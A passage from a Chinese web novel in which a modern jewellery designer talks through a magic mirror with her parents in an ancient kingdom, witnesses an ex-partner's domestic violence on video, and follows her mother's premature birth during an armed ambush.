宋奶奶摇头。 袁淼将自己头上的发簪取下来:“奶奶还记得这个吗?” 宋奶奶依旧摇头。 “这是花头簪,唐末的时候,最流行的花簪……” 到底是著名珠宝设计师,袁淼说了几句,宋奶奶的眼睛就亮了:“我记起来!这种花簪手工最复杂了!” 袁淼赞许点头。 宋奶奶说完了首饰,又看到了宋颜,皱着眉头打量他:“他是谁?怎么在我家里?” 袁淼笑着看向宋颜:“他呀!他是小宝啊!” “小宝?”宋奶奶一脸疑惑。 袁淼给宋颜使了个眼色 。 宋颜接到袁淼的眼色,也来到了床边,“我是小宝,奶奶不记得我了吗?” 袁淼听到宋颜这么说,有点想笑,连忙忍住了。 宋颜说起了一些过往,宋奶奶终于想起来了:“我记起来了!你是小宝!小宝可喜欢淼淼呢!” 袁淼愣住了。 宋颜眉宇间淡淡笑意,声音温雅和煦:“奶奶记忆真好!” 宋奶奶脸上笑着,盯着宋颜看了一会儿,把他的手拿了过来,又冲袁淼招手。 袁淼有点懵,连忙靠过去。 宋奶奶拿起了袁淼的手,放到了宋颜的手上。 袁淼心里一跳,连忙要收回来,却被宋颜抢先一步紧紧抓住了。 宋奶奶笑着,脸上的皱纹像是盛开的菊花。 袁淼心里一酸,这样的笑容像是她心里的烙印,她已经好久没有看到了。 第132章 第132章 突发 袁淼不动了, 任由宋颜抓着手。 他和宋奶奶说起了过往,袁淼插不上话,安静听着。 一会后, 老人有些疲色了。袁淼这才抽出了自己的手, 协助她躺下来。 老人睡着了之后, 袁淼和宋颜从房间里出来了。 宋颜脸上有笑:“她今天精神好多了, 话也比前几天多。” 袁淼这几天一直在忙搬家的事情,不知道老人的情况竟然这么差了。 “这几天一直都是这样吗?” 宋颜点头:“总是昏昏沉沉, 醒来的时候很少,往往说不了几句就又要合眼了。” 袁淼心里沉甸甸的,宋奶奶的情况跟临终病人差不多了。 时间不早了,她提出了告辞。宋颜跟着一起出来。一直把她送到了别墅门口后, 他才离开。 袁淼进了门,这才看到调成了静音的手机上有好几个未接来电。 她打了过去。 电话那头是张青云的声音。 “袁总, 我们在徐清阳的家里发现一些情况,我拍了照,您看看。” 挂了电话,袁淼就看到了微信上发了几个视频。 她打开其中一个。里面是穿着睡衣的曾嘉宝在和徐清阳说话。视频是透过窗户拍摄的, 距离较远,听不到他们在说什么。 但能看出曾嘉宝情绪激动,她挥舞着手,像是在吵架。 徐清阳垂着眉眼,表情淡漠。 不知道曾嘉宝说了什么, 他突然一巴掌甩了过来, 将正在说话的曾嘉宝扇到了在地上。 袁淼吓了一跳。 视频中曾嘉宝似乎也懵了,她捂着脸,一脸不可置信看着徐清阳, 呆愣了一会后,她爬了起来,冲向了徐清阳。 但还没有近到跟前,就被徐清阳抓住了手。 徐清阳西装革履,依旧清俊端雅,说话时脸上神情一如既往平静。却在说完话后就把曾嘉宝一把摔到了地上。抽了一张纸巾慢慢擦手,居高临下看着想要爬起来却始终不能的曾嘉宝,整了整西装后,离开房间。 曾嘉宝茫然坐在地上,一会后像是发了疯,把房间里的东西都砸了。 视频看完了,袁淼久久没有回过神来。 刚才的徐清阳吓了她一跳。他一巴掌甩出,竟然将曾嘉宝摔出了老远,撞翻椅子,直到了角落里才停下来。 即便是没有在现场,光看到这样的场景,都知道徐清阳用了多大的力气。 她看着就觉得疼。 那是徐清阳吗? 他居然打曾嘉宝!还下这么重的手!曾嘉宝是他孩子的妈!还没有出月子呢!她是剖腹产! 这样的徐清阳她第一次看到。 袁淼突然觉得有些冷,不由得摸了摸自己的胳膊。好一会儿才缓过神来。 第二个视频是在同一个房间里。进来的两个佣人将曾嘉宝扶到了床上,打扫过后,他们带上门匆匆离开了。床上的曾嘉宝在发脾气,但是再也没有人进来了。 第三个视频则是佣人送了餐盘进来,床上的曾嘉宝一股脑爬起来,想要出门,却被佣人拉住了。 曾嘉宝打了佣人一巴掌。佣人低着头,任由她说教,一会后瞅了她不留神的空隙出去,快速带上了门。 曾嘉宝晚了一步,气得直捶门,又开始砸东西。 下一个视频里的曾嘉宝安静了许多,她蜷缩在床上,嘴角有伤,一脸害怕看着徐清阳。 徐清阳表情淡漠,丢下了一叠文书。 窗帘晃过,视频也到了尾声。 全部视频看完了,袁淼赶紧喝了一口水。 冰凉入喉,她心里翻滚的各种情绪这才渐渐停歇下来。 很显然,曾嘉宝的行动被限制了,能做这件事情的人,只有一个人。 徐清阳。 他居然打了曾嘉宝! 袁淼对曾嘉宝一点儿好感都没有,但是看到视频里的她被人这样对待,她心里仍然很不舒服。 这是家暴! 她原本以为自己很了解徐清阳,今天才发现并不是。 视频里的徐清阳让她觉得陌生,她甚至怀疑起真假来。 但那张脸,以及擦手的动作,她再熟悉不过。徐清阳有轻微洁癖,碰了不干净的东西,就会这样慢慢擦手。 她和徐清阳学生时期就认识了,父母失踪后,也是在徐清阳的陪伴下,她才走出来。 徐清阳极其聪明,好胜心强,小气霸道,睚眦必报。但对她却很好,连重话都很少说。 他们的分歧在认识曾嘉宝之后。 袁淼不知道怎么办了,想着这些事情,连时间都忘记了,直到镜子出现了变化,谢云溪出现了,她叫了一声。 “淼淼……” 袁淼这才惊醒。 “你刚才在想什么?”谢云溪问。 袁淼打了个哈哈,“刚才?没有啊……妈,爸爸什么时候回来?” 谢云溪笑了笑:“快回来了!” 袁淼的心思立刻转移到谢云溪身上了:“他到底在忙什么?他知不知道你的预产期快到了?” 谢云溪笑着:“他知道。” 上次的回信中,袁博文也提起了她生产的事情,他会尽量提前一个月回来。 沔州的旁边就是商州。商州的山多,驻守在那里的北凉的士兵并不多。既然来了,他打算一并拿下。兵贵神PMDUJIA速。 如果等到周边州府的北凉援军赶到,再想动手,肯定很麻烦。 谢云溪也知道眼下的局势变幻莫测,想要乱中求存,就得要抓住每一个机会。 “你别担心!过几天你爸就回来了。” 袁淼盯着谢云溪:“你们没有骗我吗?” 她现在对父亲袁博文很有意见,母亲的预产期就要到了,他还出远门。 北地的医疗环境跟现代可不能比,母亲又是高龄产妇! 谢云溪笑着说:“我们怎么会骗你?你别担心了……新房子都收拾好了吗?” 袁淼点头。 “好,明天,我把后院的那些东西传给你。” 袁淼欲言又止。搬新家,她把小别墅地下室的东西都挪了过来,都堆放在这边房子的库房里面。东西太多,光清点收拾,她就花了将近两天的时候。 金银珠宝首饰等,她现在不缺。 不过,拖延的话,她已经说了好几次了。 “妈,这是我让人买的一次性手术包,里面有常规手术经常使用的止血钳镊子等,还有剖腹产专用的手术包……” 谢云溪笑了。当女儿的比当妈的还操心了。不过,她也知道袁淼是为了自己好。所以,没有拒绝推辞,只点着头,一个劲说好。 袁淼把东西传过去了。 “这些东西都是一次性的,有效日期到明年,我各买了三份!妈,你可以先拆开看看,先熟悉熟悉,咱们有备无患。” “好!” 袁淼想了想,又说:“念荟不错!你不是说上次有个女孩伤得不轻,就是念荟动的手术吗?这些也可以让她熟悉熟悉。” 她现在最焦虑的就是谢云溪即将生产,偏父亲又不在母亲身边。 “好!”谢云溪也应下了,连忙把话题转移到农事上。 现在郴州周边都开始种玉米和甘薯了,于管事被张时文请了过去,早出晚归。 好在她先前就料到了,提前在后院里开辟了一块地出来,按照袁淼传过的消息种上了玉米和甘薯,于管事从头到尾参与了。 他有了经验,应对外面问题基本上能解决。 袁淼也很关注父母那边的种地,她认为玉米和甘薯简单,棉花的种植相对复杂。 “棉花现在有多高了?可别忘了,要摘顶的!” 谢云溪笑着说:“现在还早!”她比划了一下地里的棉花高矮。 移栽下去没多久的棉花将将长到小腿高度,离摘顶还有至少一个月的时间。 她现在发愁的是棉花虫害的事情。 这里的人们种地,可不兴打农药。偏棉花又是很容易招来害虫的农作物。 袁淼想了想:“把农药箱遮盖起来怎么样?” 谢云溪想了想,也觉得可以试一试。 他们种了一万多亩棉花,光靠人工摘除害虫肯定不行。 农药箱并不大,在外面做些掩饰,找几个靠谱的人去打农药,想来问题不大。 庄子的农户几乎都不识字,他们对认知之外的事务更多的是畏惧心理,打破砂锅问到底的人很少。 袁淼与母亲说完话,睡下后又想起了徐清阳和曾嘉宝的事情。 她再不喜欢曾嘉宝,也不想看到一个还没有出月子的女人被这么对待。 她不明白徐清阳怎么变成了这样? 他们在一起的时候,他连发脾气都很少,更多的时候是她在作。 有一次,学校里安排了活动,她和一位男同学搭档,大约是走得近了些,徐清阳竟然找到了对方,两人起了争执,大打出手。 她知道后很生气,提出了分手。徐清阳找过来,她也不理。 直到在楼道里被堵住了。 “淼淼,是我不对!你原谅我好不好?我发誓!以后再也不跟人打架了!” 这是打架的问题吗? 她绕过徐清阳就走,但被拉住了。 “淼淼,我不对,我不好,你打我吧!使劲打!” “我不能没有你!我错了!你想要怎么惩罚都可以……” 他拿着她的手往自己脸上扇。那张脸上胡子拉碴,憔悴之极,眼神执拗得让人害怕。 袁淼一下子睁开了眼睛,触目所及光线黯淡,并不是学校的楼道口。 她清醒过来。原来是做梦了。 起身到了杯水喝,袁淼看着楼下的花园发呆。 其实,很多事情都有迹可循。徐清阳的脾气并不是一直很好,他只是在忍,他不是一个情绪稳定的人,狠起来的时候,他连自己都打,毫不留情。 她虽然很不喜欢曾嘉宝,但无法漠视一个孕产妇被家暴。 第二天,袁淼就让张青云把视频以匿名方式发给警方。 挂了电话后,她又和沈若臻去了农贸市场。买到了东西,传给了谢云溪。 谢云溪收到了东西,看了看说明,让人找了几个差不多大小的箩筐过来,把农药箱放进了箩筐,做了一些改装,直到肉眼看不出后,她又让人把于管事叫了过来。 “这是可以杀灭棉花上害虫的药水……”她告诉于管事怎么配置药水,怎么操作。 于管事弄懂了:“甘薯地里也有虫害,这药水能不能也用到甘薯地里?” 谢云溪笑着摇头:“这种药水不能杀灭甘薯地的害虫。” 甘薯地里的苗刚长出来,虽然有虫害,但与棉花地里的虫害相比,不值一提。而且甘薯的叶子还能食用,打了药水,就不能吃了。 次日,于管事便召集了人手到棉花地里忙开了。一万多亩棉花地,事情还没有忙完,就出了状况。 庄子上有好几户人家出现了上吐下泻的情况,其中,有一个已经不省人事了。 谢云溪吓了一跳。 地里的农药刚洒下去,就出现了这样的事情! 是中毒吗? 她询问于管事:“这几家住的地方离棉花地远吗?” “有两家就住在棉花地旁边,其他的有些远。” 谢云溪不确定了。人命关天,她让府中护卫队长连虎备了轿子,准备过去看一看。 念荟说:“夫人,我去看就行了。您如今身子重了,还是不要出门吧。” 谢云溪笑着摆手,她离预产期还有一个月,身边的人已经如临大敌了。 农药中毒可不是一件小事,况且出现状况的人不少,她不过去看一眼,实在不放心。 念荟拗不过谢云溪,只得听从。 一众人浩浩荡荡来到了庄子上。谢云溪先去了住在棉花地旁边的两户人家。 这两户人家都是今年新买进的,签的是活契。 两户人家,一共有八口人,出现上吐下泻情况的共有五个人,不过,次数不多,他们看起来并不严重。 谢云溪详细询问了他们这两天的踪迹,尤其是否长时间呆在棉花地里,以及有没有接触过农药等。 两户人家的女眷虽然住在棉花地旁边,但是她们并没有进到棉花地里去,也没有接触过农药。 男丁们则是两样都有。 谢云溪没有带设备过来,便让念荟取了标本。 他们看起来并不严重。谢云溪嘱咐他们多喝水,准备等检测结果出来之后,再对症处理。 回到了庄子里,谢云溪又去看了情况较严重的一家。 这家是一家三口,原来就是庄子里的人,前面的主家卖地,将他们一家三口也一并卖给袁归。 谢云溪先去看了这家的女儿。她只有八岁。并没有接触农药,也没有去过棉花地。 谢云溪越发糊涂了,又问小女孩这两天吃了什么,喝了什么? 小女孩怏怏回答了。 他们正说着话,外面突然传来了一阵喧哗。 连虎匆匆忙忙进来了。 “夫人,外面来了好多人!这里被围住了!” 谢云溪吃了一惊,扶着肚子站了起来。 “知道是什么人吗?” 连虎的脸色奇差,摇了摇头。 第133章 第133章 难产 连虎脸色奇差, 摇了摇头。 念荟等人都有些慌了。谢云溪也有点紧张。她知道自己今非昔比,挺着大肚子,比不得以前了。但是, 慌张没有用。 这伙人肯定来者不善!也许这次的中毒事件就是他们搞出来的! 这般费尽心思, 是想抓住了她, 来威胁袁博文吧? 谢云溪让自己冷静下来。越是这个时候, 越是不能乱。 想了想一路过来的情景,这处园子周边都是农田, 即便是她能跑,到郴州城门口也还要一个多小时。 没有任何掩护,他们这群人就是活靶子!即便是连虎等人身上都带了枪,也未必能护住她。 好在这处庄园虽然不大, 但是院墙较高,也许能撑一段时间。 理清楚头绪后, 谢云溪看向庄头:“这庄子有几个出去的门?” 付庄头也是原来的主家留下的,他一家四口人都住在园子里面,不过这会大儿子去了地里。 “有三个!前面、后门和一个侧门。” 与一般庄园的门户格局差不多。外面那伙人既然有备而来,多半已经摸清楚了庄园的情况。 “还有吗?”谢云溪又问, “狗洞也行!” 连虎诧异看了谢云溪一眼。 谢云溪面不改色,大庄园有狗洞的情况并不少见,这里与城内的大宅院不同,周边都是乡野,总是会有些机灵古怪的人另辟蹊径。 她说完, 看了看周围的人, 发现付庄头身边有个少年神态有异。闪闪躲躲,又跃跃欲试。她把他点出来:“你是付管事的小儿子吧?你叫什么?” 少年目瞪口呆。付庄头连忙说:“夫人,他叫付余。” 谢云溪看着付余:“你知道除了这几个门以外, 还有其他可以出去的办法吗?” 付余看了付庄头一眼。付庄头示意他老实回话。他便垂下了头,小声回答:“西边院墙那里有个狗洞,出去就是河边了……” 谢云溪脑海中闪过庄园周边环境,西边院墙的外面确实是一条河,不过眼下时节河里的水位较低。 她对连虎说道:“护卫里面,有没有个子瘦小的?” “有!”连虎已经明白了谢云溪想干什么,心里不禁赞了一声。这个时候不慌不忙,还能找出办法,属实非一般女子。 对方来路不明,他们这些护卫虽然不怕,但是夫人身子不便,容不得半点闪失,贸然闯出去,说不定要出大事。 但若是留在这里,一边倚仗院墙防卫,一边派人往城里送信,要不了多久,他们就能等到援军了。 这边庄子距离郴州城门口虽有些距离,但是对神器营的车来说,也就是一柱香的功夫。 连虎去叫人了。 谢云溪又对付庄头说道:“园子里面共有多少人?让能动的都过来!赶紧让人把门都关了。” 付庄头应下了,也去叫人了。 谢云溪正要出去,突然感觉一阵毛骨悚然,没等她反应过来,一把小刀已经抵住她的喉咙。 房间里乱了,有人摔倒,有人惊叫,谢云溪眼角的余光看到贺天凤扑了过来。 “都别动!”身后的人一声喝道。 谢云溪感觉到脖子上一阵刺痛,旁边贺天凤硬生生刹住了脚步,并且张开了手,拦住想要冲过来的念荟等人。 “这就对了!谁要是再敢上前,就别我不客气了!” 女人的声音轻慢,话里的内容却让人不敢小觑,一时间所有的人都不敢动了。 谢云溪也一样,她知道就在刚才,自己的脖子应该已经见血。她看不到身后挟持她的人长得什么样子,但知道她一定伪装了。 眼前的粗布袖口露出了一小截手腕,肌肤白皙细嫩。这可不是一个农妇能养出的颜色。 她大意了。 有想过自己的安全,出门必带了护卫,却没有想到会有人伪装农妇接近她。 “袁夫人,烦劳你跟我们走一趟吧!” 女人说完,手上使了使劲。谢云溪不得不听从,但刚跨出房门,她动了,突然抬起了自己的手,按下已经摸到手中的酒精喷雾。 突如其来的一阵细雾,还伴随了刺鼻的味道。女人始料未及,以为是了不得的毒水毒药,下意识就要捂脸。 就在这时,贺天凤动了,一掌拍来。女人听到风声避开。谢云溪连忙脱身,避让到一边。 摸了摸自己的脖子,果然一手的血。 念荟等人都围了过来。 “夫人,您没事吧?” 谢云溪摇头,转头看到贺天凤已经跟一个身着粗布麻衣的女子打成了一团。 跟她预料的一样,这女子一张脸毫不出奇,但是脖子上露出肌肤却白嫩细腻。 “赶紧去叫人!”谢云溪说。 叶淑婉点头,跑出院子。 念荟连忙拿出了纱布碘伏,正要给谢云溪处理,连虎带着一个瘦小个子的护卫进来了,看到院子中打斗的场景,他抽出了刀。 刀剑无眼,谢云溪搭上了念荟,正要让开一点,突然感觉下/身一股暖流涌了出来。 遭了!破水了! 她一把抓住了念荟的手,对她说:“我要生了!” 念荟的脸色顿时变了,往下一看,果然发现谢云溪的衣裳下摆湿了一块,且正在扩大。 念荟慌了神,此刻也不知道该做什么了。 谢云溪定了定神,捂着肚子冷静说道:“扶我到旁边的房间里去!” 念荟连忙点头,叶淑婉也过来了。 明明只有几步路的距离,但谢云溪却感觉格外漫长。 到了隔壁房间,念荟等人赶紧好收拾床榻,扶着谢云溪躺下。 谢云溪刚躺下来,就感觉到一阵疼痛袭来,她忍不住轻哼了一声。 “夫人!您怎么了?” 谢云溪顺着阵痛的节奏深呼吸着,一边对念荟:“赶紧……去把……待产包拿过来!” “好!我马上就去!” 念荟刚起身,就听到谢云溪又哼了一声,她忍不住回头。 “快去!”谢云溪忍着疼痛叮嘱。 突如其来的发作,阵痛也比预计来的快,让她有一种不好感觉。 偏偏又是这样的处境! 念荟匆匆出门,差点与要进来的贺天凤撞了个正着。 “怎么样?夫人没事吧?”贺天凤一把抓住了念荟。 念荟说:“夫人要生了!她让我赶紧去拿待产包!” 她说完,匆匆要走,被贺天凤拉住了。 “你怎么出去?” 念荟这才惊醒,她们在城外的庄子上,庄子外面被人围住了,刚才还有个女人劫持了夫人,险些出事。 她看了看院子里,地上多了一个死人,看装束正是先前劫持夫人的女人。 连虎正在招呼庄头把死人拖走,看到了念荟,连忙过来了:“夫人怎么样?” “夫人要生了!我们要回府里拿些物品!”贺天凤说。 连虎六神无主:“这,你们怎么出去?” 念荟和贺天凤相互看了一眼,两人虽然不是生的人高马大,但绝对称不上瘦小,那狗洞多半是钻不了。 “东西在哪里?是在府里吗?我让瘦猴去拿!” 瘦猴就是连虎刚才带过来的护卫。他人如其名,个子瘦小。连虎正要嘱咐他跟着付余钻狗洞出去报信。 念荟和贺天凤又相互看了一眼。她们都知道谢云溪准备好的待产包放在哪里。但是那个地方有许多不为人知的东西。 “我去拿!”一个声音突然说话。 念荟和贺天凤转过头来,看到是的沈悦兰,她们都很吃惊。 枫叶巷那边改建成织坊后,谢云溪就把想学医的叶淑婉和胡冬梅带到了身边,沈悦兰还没有好全,她也把她挪了出来。 小姑娘不喜言语。谢云溪有心开导,在她病好后,也把她带在了身边。教导念荟等人学医的时候,也没有瞒着她。 但小姑娘几乎没有变化,依旧沉默寡言,一副什么都没有放到心上的样子。 念荟和贺天凤想不到她居然会在这个时候站出来。此刻的园子外面都是敌人,许是一冒头就会没命。 连虎上下打量了沈悦兰一通,点头:“行吧,你跟他们先过去看看。” 他说完,就去交待瘦猴和付余了。 念荟抓着沈悦兰的手:“沈小姐,你知道待产包在哪里吗?” 沈悦兰摇头。 念荟噎了一下,但眼下确实没有更好的人选了。夫人对沈小姐有恩,想来她必不会辜负。 念荟犹豫了片刻,把小药房的所在告诉了沈悦兰:“……你进去后右手边有个橱柜,橱柜的最上面一层有三个包裹,你拿一个就可以了。” 那包袱里面有几种一次性手术包和一些药品器材等。 沈悦兰点头:“我知道了。” 念荟还要交待,突然听到一阵撞击声。 正和瘦猴说话的连虎脸色变了:“遭了!他们在撞门!” 说完,他推了瘦猴一把:“快!你们快走!” 念荟也心乱如麻,出口说道:“沈小姐,我家夫人的情况不好,请你务必把待产包拿过来!” 贺天凤催促道:“行了!快别说了!赶紧走!” 念荟看着沈悦兰和瘦猴等人离开后,返回了房间里。谢云溪的脸上已经出了许多汗,叶淑婉和胡冬梅在旁边照顾着。 “夫人,沈小姐去拿待产包了!” 谢云溪缓了缓劲。她刚才也慌了神,忘记念荟也出不去了。沈悦兰个子小,身形匀称,倒是有可能。 “外面情况怎么样?” 念荟犹豫了片刻,还是说了:“他们在撞门!” 这是蓄谋已久,势在必得! 她属实大意了,出门的时候光想着庄子上的人是不是中毒?怎么解毒?就没怀疑过这是有人做局! 刚才的女人混着几个农妇当中,她也没有注意到。 这次怕是有些麻烦了。 也不知道是哪一方出手? 一阵疼痛袭来,谢云溪的思绪也被打断了。 瘦猴和付余带着沈悦兰离开后,连虎就来到园子的大门口。 这里已经严阵以待,护卫和园子的家丁们都拿上了家伙,院墙上也趴了人,手中拿着枪,正对着外面。 先前在这里负责的护卫看到连虎过来,连忙汇报情况。 “……外面的人不少,各个都有家伙!他们先是敲门,咱们没理,他们便开始撞门了!” 护卫的话音还没有落地,就听到砰一声巨响,厚重的园子大门晃了晃。 连虎拿出了手枪,上了膛,正要到墙头上看看情况,就看到一道身影飞跃而起,衣衫飘过,白光一闪,趴在墙头的人惨叫一声,掉了下来。 连虎的脸色变了。 这是高手!他举枪就打,但那道身影极快,竟然径直往后院里飘去。 连虎正要追过去,园子的大门轰一声被撞开了 一阵疼痛过后,谢云溪缓了缓劲,对念荟说道:“还记得怎么查体吗?” 念荟点头。 “好,现在,你看看,宫口开了没有?冬梅手上的药箱里面就有手套。” 念荟戴上了手套,检查过后,迟疑了一会,摇了摇头。她没有经验,学这个也是最近几个月才开始,所以并不确定。 谢云溪安慰道:“一般不会这么快,你们先做好准备。” 她不确定能不能拿到待产包,只能就着现有的条件做好准备。好在这次她不是空手出门。因为怀疑是中毒,随身携带了一些医疗用品。 时间过得很慢,等到念荟终于点头,谢云溪松了一口气。当宫口开到三指的时候,外面有了动静。沈悦兰回来了。 有了待产包,先前仓促准备的东西就用不上了。天将黑下时,谢云溪用尽了力气,终于听到了婴儿的哭声。 “是个小少爷!”念荟惊喜说道,将孩子抱到谢云溪的面前来。 谢云溪刚看了一眼,就听到守在门口的贺天凤厉声喝道:“什么人?” 随即一阵噼里啪啦的响动,房间的门突然被撞开了,一道白色的身影飘了进来,一把抢过念荟手中孩子,在旁边的桌子上蜻蜓点水般借力过后,又往外飘去。 谢云溪慌忙摸出身上的手枪,朝着对方的下肢一顿射击。 第134章 第134章 明牌 谢云溪慌忙摸出手枪, 朝着对方一顿射击。 对方的身影顿了顿。贺天凤进来了,将他拦了下来 谢云溪松了一口气,终于撑不住了, 撅了过去。 再次醒来, 天已经亮了。守在旁边的念荟喜极而泣:“夫人!” 谢云溪虚弱问道:“孩子呢?” 念荟抹了一把眼泪, 连忙把孩子抱过来。 谢云溪仔细看看。皱皱巴巴的小婴儿, 尚未足月,看起来格外羸弱。但面色红润, 呼吸平缓,睡得正香。 她松了一口气。开枪的时候,她生怕伤到孩子了,尽量朝着对方的下肢开枪。但对方身影腾挪很快, 她的枪法也算不上好,一切都不好说。 “称量过了吗?他有多重?吃过奶了没有?” 念荟点头, 眼眸里包着一汪水。 新生儿落地要称重,判断生长情况。及时喂奶,锻炼吮吸和吞咽功能等,这些都是谢云溪一再交待过的。 体重秤和奶粉奶瓶等也早就准备好了, 她也知道怎么用。 “小少爷有二千五百二十克,已经喂过一次奶了,但是他喝的不多,只喝了十毫升。” 谢云溪放心了。孩子虽然是早产,但体重在正常范围之内。吃的不多, 但知道吮吸和吞咽, 那就表示发育情况还好。 “十毫升可以,外面现在怎么样?”谢云溪又问。 昨天沈悦兰回来时,她正疼得死去活来, 没有多余心思关注其他,但也知道外面的人一度险些杀到了这个院子里来。 沈悦兰既然能拿到待产包回来,那自然是带来了援军。袁博文虽然将军中的大半兵力带走了,但是郴州城内的城防没动,这些人应该能够应对这次的袭击。 “江将军来了,那伙人一个都没能逃脱……现在园子里外都是我们的人。” 昨日的凶险也是念荟经历之最。夫人动产后没多久,园子的大门就被外面的人攻破了,幸亏连护卫等人拼命搏杀,方才没能让那伙人杀到院子里来。 城防营的人来得很快,江将军亲自带队,神器营副将黎大山也带了许多人过来,很快就将剩下的敌人尽数拿下了。 如今整个园子已经被巡防营和神器营团团围住了。 谢云溪听念荟说完后,默默点了点头。 这次是她大意了,她应该明白的,既然入了争霸这场棋局,她就不可能再像以前一样过日子了。 他们要干的事情现在虽然没有公开,但是袁博文已经是一股不可小觑的力量了,引起了多方势力的关注。尤其他们拿出来的现代化军械机械等,让这些势力既忌惮又垂涎。 袁博文身在军中,他们奈何不了他,可不就把目光转向了她。 昨天,她见过的两个人,都是练家子,尤其穿白色衣裳抢孩子的那个,竟然能不借助任何外力,就能飞跃进来。出手极快,几乎眨眼的功夫,就将念荟手中的孩子抢走了。 要不是她随身带着枪,这一次一定会后悔终身。 她还是第一次见到身手这么好的人,这让她想起了在沧月山见过的老道。 大千世界无奇不有,高手深不可测。绝对不能因为这里的科技落后,就小觑了这个世界上所有的人。 “你们都还好吧?有没有人受伤?天凤呢?怎么没有看到她?” 昨天,房间的门虽然关着,但谢云溪还是听到了喊杀声和枪声,房间里的几个丫头明明很害怕,但没有一个人离开。 “我们都很好,天凤就在门口,您要她进来吗?” 谢云溪点头,昨天闯进来的是个高手,贺天凤的身手虽然不错,但是对上他,还是明显落了下风。 贺天凤进来了。果然挂了彩。一只胳膊吊着,另一只手拿着剑,看到了谢云溪,眼圈就红了。 谢云溪却笑了:“没事就好,昨天那人是你拦下来的吗?” 贺天凤摇头:“不是我,是沈小姐。要不是她抱住那人的腿,我也拦不住他。” 谢云溪愣了愣,看了一圈也没有找到沈悦兰。她目光询问看向念荟。 念荟的脸色有些扭捏:“沈小姐受了伤,就在隔壁。” 谢云溪心里知道念荟这是不想让自己担心,所以这才隐瞒了沈悦兰受伤的事情。 昨天的沈悦兰也让她大吃一惊。没想到瘦瘦弱弱的小姑娘胆子竟然这么大,明知道出去很危险,仍然站了出来,还敢不顾一切抱住一个杀手的大腿。 这分明是不想活了。 想及她以前说的话,谢云溪暗暗叹了口气。 原来,小姑娘是在说真的。 “她伤得严重吗?要不要紧?” 念荟连忙摇头:“不要紧!已经请郎中看过了,郎中也这么说。” 当时情况紧急,手中的孩子突然被抢走,她完全懵了,枪声响起来的时候只知道捂耳朵了。等回过神来,就看到沈悦兰抱住了那个抢孩子的白衣男子大腿。 那男子的腿上原本中了一枪,突然又被沈悦兰一把抱住了,一时间动弹不得,竟然一掌拍下。幸亏被贺天凤拦了一把,打偏了,但即便是如此,也在沈悦兰的肩膀上留下了一个青紫色的掌印,使得她整个胳膊到现在都动不了。 江将军和黎副将闻声赶来,将那男子击毙了。 谢云溪听念荟和贺天凤说了事情经过,心里不好受。小姑娘这样不顾一切的做法,分明是不想活了。 “谁在照顾她?” “冬梅姑娘在那边。” 谢云溪放了心。沈悦兰和胡冬梅被接出来的时候就住在一间房子里。胡冬梅细致,又懂些医学常识,应该能把人照顾好。 身边的人都问过后,谢云溪又想到了女儿袁淼。原本她们几乎每天联系,尤其她进入孕晚期后,就没有断过一天。 可是昨天晚上她突然发作,生下孩子后又不省人事,无法与她联系。现在镜子也不在旁边,也不知道她会担心成什么样子了。 “你们几个都过来了,府里现在有谁在?” “立秋昨天晚上从晋州过来了。那边院子里没有看守,我让她回去了。” 谢云溪这才松懈下来。立秋沉稳,有她守着,他们所住的院子不会有人进去。 说了这么一会话,谢云溪有些累,让念荟把孩子放到自己的旁边,她看着看着,睡了过去。 谢云溪再次醒过来是被孩子的哭声惊醒,她转过头,看到了一个高大的身影正小心翼翼抱着孩子。谢云溪愣了愣。 “博文?袁博文!” 袁博文回过头来,看到谢云溪醒了,连忙过来,眼巴巴看着,低声询问:“你怎么样?有没有哪里不舒服?” 谢云溪没想到袁博文居然回来了,拿下沔州之后,接着打商州原本就是他的计划,这才过去几天,商州这么快拿下来了吗? 她摇头:“我还好。你怎么回来了?商州那边拿下了吗?” “还没有!不过,我已经交待好了。” 谢云溪有点疑惑:“这样不会有事吧?” 不是说,兵贵神速吗? 袁博文摇头:“不要紧。你别担心。” 妻子差点出事,他哪还有心思做的别的事情?这次的经历,他再也不想体验了。 袁博文说着话在床边坐了下来,一手抱着孩子,一手牵上了谢云溪的手。 掌心的温热让他心里踏实。 昨天晚上,他接到信后,连夜就往回赶。看到园子里的场景,吓得腿脚都打颤了,进到房间里后,又看到躺在床上一动不动的谢云溪,脑海一片空白。 念荟在旁边说话,他都没有感觉到,直到近到跟前,摸到谢云溪的手,感受到掌心的温度,他才有了知觉。 谢云溪凑过去看了看孩子,摸了摸他的小手。孩子撇了撇嘴,又睡上了。 谢云溪问袁博文:“你回来后,去过府里了吗?跟淼淼见面了没有?” “没有。” 袁博文回来后,连郴州城里都没有去过,直接往这边过来了。 “我晚上跟她说。” 袁博文想到女儿的性格,昨天晚上没有看到他们,她一定很着急。 谢云溪比袁博文更心急。 “这边有念荟他们照顾我,你不用担心。你去洗个脸,换身衣服,跟淼淼说一声,免得她担心。” 袁博文顿了顿,点头,答应下来。 谢云溪想起这次的事情,叹了口气:“这次是我大意了。” 她把打过农药后,庄子上出现了多人上吐下泻类似中毒的症状的事情经过告诉了袁博文。 “我当时光想着是不是中毒?压根就没想过,这是有人蓄意而为!” “这不是你的错。”袁博文的脸色有些冷了。 “你这次不出来,他们还会制造一些事情,一定会把你引出去的。” 谢云溪愣了愣。 什么时候她的份量这么重了? “查出来是谁干的吗?他们这么做是不是想要用我来胁迫你?” 袁博文摇头:“江虎正在查,他们昨天抓了几个活口!” “不过,可以确定的是,这伙人是南边来的,他们一个月前就过来了。” 谢云溪想了想时间。一个月前,年刚刚过完。那个时候朝廷与北凉和谈的事情还没有传开,他们也刚接到了来自岭南关家的回信。 这是早就盯上他们了。 袁博文说的对,这次没有把她引出来,一定还会有下次。目标不是她,就是袁博文。他们躲不掉。 “以后,咱们还是小心些吧。”谢云溪感慨说。 袁博文哼了一声:“有千年做贼的,哪有千年防贼的?不让咱们好过,谁也别想好过!我已经跟张时文商量过了,就趁这次的事情,把咱们的牌亮了!” 谢云溪吃惊说:“是不是太早了?你不是想等舆论起来之后再公开吗?” “不早了。前几日朝中又有变故,太子企图谋逆被诛,今上病情加重,临终前颁下圣旨,让贵妃所出的皇五子继位。” 谢云溪惊呆了,前段时间庄静还在说太子素有贤名,现在居然谋逆被诛! 这反转来得也太快了吧? “皇五子?是霍贵妃所出的儿子吗?” 袁博文点头:“如今的京都已经被霍云泽控制了,他提着剑上了朝堂,杀了好几个大人,将抗议的声音压了下去。但湖溪的齐王大骂他是乱臣贼子,已经举出清君侧肃清朝纲大旗。” 谢云溪说不出话来,好一会后,摇了摇头:“怎么乱成了这样?” “自古皇权更替,哪一次不是血流成河?” 